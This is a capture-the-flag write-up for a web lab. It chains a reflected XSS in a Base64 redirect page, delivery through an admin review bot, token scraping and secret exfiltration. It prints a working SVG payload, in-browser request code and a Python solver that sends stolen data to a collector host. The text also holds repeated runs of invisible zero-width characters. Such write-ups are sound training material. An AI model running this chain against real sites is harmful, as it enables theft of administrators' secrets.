← Back to Writeups
CUSTOMMediumWeb

Lab 43 — NetShield — Reflected XSS via Auth Redirect to Admin Secret Theft

XESXOR9/10/20265 min read
#web#custom#medium#svg_event_handler_injection#admin_bot_delivery#same_origin_token_theft#second_order_exfiltration#linux

Lab 43 — NetShield — Reflected XSS via Auth Redirect to Admin Secret Theft

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-07-24 | Status: Solved Techniques: svg_event_handler_injection, admin_bot_delivery, same_origin_token_theft, second_order_exfiltration

Summary

Task: A Base64-decoded authentication redirect is reflected into several browser contexts and can be submitted to an authenticated review bot. Solution: SVG XSS stole a dashboard token, read the privileged secrets API, and queued exfiltration through the reporting API.

Lab 43 — NetShield — Reflected XSS via Auth Redirect to Admin Secret Theft — hackadvisor

Description

Lab 43 — NetShield — Reflected XSS via Auth Redirect to Admin Secret Theft

The application provides a guest Wi-Fi portal and an authenticated support workflow for reporting URLs. The goal is to exploit the redirect flow in the privileged review bot's browser and recover the real secret from an admin-only API.

Reconnaissance

The supplied account could authenticate normally. Initial crawling and JavaScript review identified these relevant surfaces: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

SurfacePurpose
/guest/wifiGuest portal leading into the redirect flow
/auth/redirect.php?dest=<base64>Base64-decoded post-authentication redirect
/supportUser-facing URL-reporting interface
POST /api/report-urlAccepts JSON containing url and description
/admin/dashboardAuthenticated admin page containing an API token
/admin/api/system/secretsPrivileged secrets endpoint
/js/gateway.jsClient-side behavior and endpoint clues
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The server reported nginx 1.25.5 and PHP 8.2.26. A flag-shaped value present in ordinary HTML, FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}, was a deliberate decoy: it appeared across public pages and was unrelated to the privileged API response.

Vulnerability Analysis

1. Multi-context reflection in the redirect page

redirect.php Base64-decodes dest and accepts decoded destinations only when they begin with /. It then inserts the decoded string without output encoding into three contexts:

html
<meta http-equiv="refresh" content="0;url=DECODED_DESTINATION">
<a href="DECODED_DESTINATION">Continue</a>
<script>window.location.replace("DECODED_DESTINATION")</script>

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

A destination shaped like the following begins with the required slash but breaks out of an HTML attribute and creates an executable SVG element:

html
/"><svg onload="JAVASCRIPT_HERE">

Double quotes inside the event handler must be HTML-encoded as &quot; before the complete destination is Base64-encoded. Destinations that did not begin with / were rejected and sent to /login.

2. Delivery to the authenticated admin browser

An ordinary authenticated user can submit:

json
{"url":"http://localhost:8080/auth/redirect.php?dest=...","description":"review"}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

to /api/report-url. HeadlessChrome 124 reviews the submitted URL with an admin session. The important detail is its privileged application origin: http://localhost:8080. Reporting the public HTTPS host, or localhost without the correct port, did not provide the same privileged context.

3. Token recovery and privileged API access

The admin browser had no useful value in document.cookie, localStorage, or sessionStorage. Its authenticated dashboard did, however, include this structure:

html
<div id="adminCsrfToken" data-token="..."></div>

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The dashboard's JavaScript uses that value as the X-ADMIN-TOKEN request header. A request to /admin/api/system/secrets with only the admin session returned HTTP 403 and Invalid or missing X-ADMIN-TOKEN header; adding the token scraped from the dashboard returned the secrets JSON.

4. Reliable exfiltration

Direct callback query parameters were stripped. The robust path was a synchronous, same-origin POST /api/report-url from the XSS. This queued a second URL whose Interaction Server path contained the URL-encoded API response. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

One browser-specific pitfall mattered: inside an SVG event-handler scope, the identifier x resolves to the SVG element's x property. Therefore x = new XMLHttpRequest() does not produce the intended request object. Using window.__q avoids the collision.

Complete Exploit Chain

  1. Log in with the supplied normal-user account.
  2. Build JavaScript that synchronously fetches /admin/dashboard.
  3. Extract #adminCsrfToken[data-token] from the response body.
  4. Fetch /admin/api/system/secrets with that value in X-ADMIN-TOKEN.
  5. Submit a second report whose Interaction Server path contains encodeURIComponent(responseText).
  6. Place the JavaScript in /\"><svg onload="...">, encoding inner double quotes as HTML entities.
  7. Base64-encode the complete decoded destination.
  8. Submit the resulting http://localhost:8080/auth/redirect.php?dest=... URL through the normal account's reporting API.
  9. Read the nonce-matched HeadlessChrome callback and URL-decode its final path segment. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The minimal in-browser logic is:

javascript
window.__q = new XMLHttpRequest();
window.__q.open('GET', '/admin/dashboard', false);
window.__q.send();
T = window.__q.responseText.match(/id="adminCsrfToken" data-token="([^"]+)/)[1];

window.__q = new XMLHttpRequest();
window.__q.open('GET', '/admin/api/system/secrets', false);
window.__q.setRequestHeader('X-ADMIN-TOKEN', T);
window.__q.send();
D = window.__q.responseText;

window.__q = new XMLHttpRequest();
window.__q.open('POST', '/api/report-url', false);
window.__q.setRequestHeader('Content-Type', 'application/json');
window.__q.send(JSON.stringify({
  url: 'http://interact/INSTANCE_UUID/lab43/final/' + encodeURIComponent(D),
  description: 'final'
}));

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Reproducible Solver

This script generates the injection, authenticates, and submits the bot URL. Replace the instance values if the lab has been restarted.

python
#!/usr/bin/env python3
import base64
import sys
from urllib.parse import quote

import requests

INSTANCE = sys.argv[1]
NONCE = sys.argv[2] if len(sys.argv) > 2 else "final"
BASE = f"https://{INSTANCE}.labs.hackadvisor.io"
BOT_ORIGIN = "http://localhost:8080"
COLLECTOR = f"http://interact/{INSTANCE}/lab43/{NONCE}/"

js = (
    "window.__q=new XMLHttpRequest();"
    "window.__q.open('GET','/admin/dashboard',false);window.__q.send();"
    "T=window.__q.responseText.match(/id=\\\"adminCsrfToken\\\" data-token=\\\"([^\\\"]+)/)[1];"
    "window.__q=new XMLHttpRequest();"
    "window.__q.open('GET','/admin/api/system/secrets',false);"
    "window.__q.setRequestHeader('X-ADMIN-TOKEN',T);window.__q.send();"
    "D=window.__q.responseText;"
    "window.__q=new XMLHttpRequest();"
    "window.__q.open('POST','/api/report-url',false);"
    "window.__q.setRequestHeader('Content-Type','application/json');"
    f"window.__q.send(JSON.stringify({{url:'{COLLECTOR}'+encodeURIComponent(D),"
    f"description:'{NONCE}'}}))"
)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

dest = '/\"><svg onload="' + js.replace('"', '&quot;') + '">'
encoded = base64.b64encode(dest.encode()).decode()
bot_url = f"{BOT_ORIGIN}/auth/redirect.php?dest={quote(encoded)}"

session = requests.Session()
login = session.post(
    BASE + "/login",
    data={"email": "user@test.com", "password": "password123"},
    allow_redirects=False,
    timeout=15,
)
login.raise_for_status()

report = session.post(
    BASE + "/api/report-url",
    json={"url": bot_url, "description": NONCE},
    timeout=15,
)
report.raise_for_status()
print("Submitted:", bot_url)
print("Report response:", report.text)
print("Inspect Interaction Server callbacks for nonce:", NONCE)

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Run it with:

bash
python3 exploit.py INSTANCE_UUID final

The final nonce-matched callback came from HeadlessChrome 124. After URL-decoding its path, the JSON reported status: ok, the production gateway identifier, and a populated secrets object containing the verified flag.

Failed Approaches and Pitfalls

  • Static public flag: the flag-shaped HTML comment was an intentional decoy, not the admin secret.
  • Destination without a leading slash: server-side validation redirected these attempts to /login.
  • Public or wrong-port bot URL: it lacked the privileged localhost:8080 application context.
  • Using x for XMLHttpRequest: SVG event-handler name resolution shadowed it with the SVG x property.
  • Direct query-string exfiltration: callback query data was stripped; path-encoded data survived.
  • Cookie or Web Storage theft: all three browser storage sources were empty or unusable.
  • Admin session alone: the secrets endpoint returned 403 without X-ADMIN-TOKEN.
  • Token guessing: unnecessary because the authenticated dashboard exposed the value to same-origin JavaScript. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍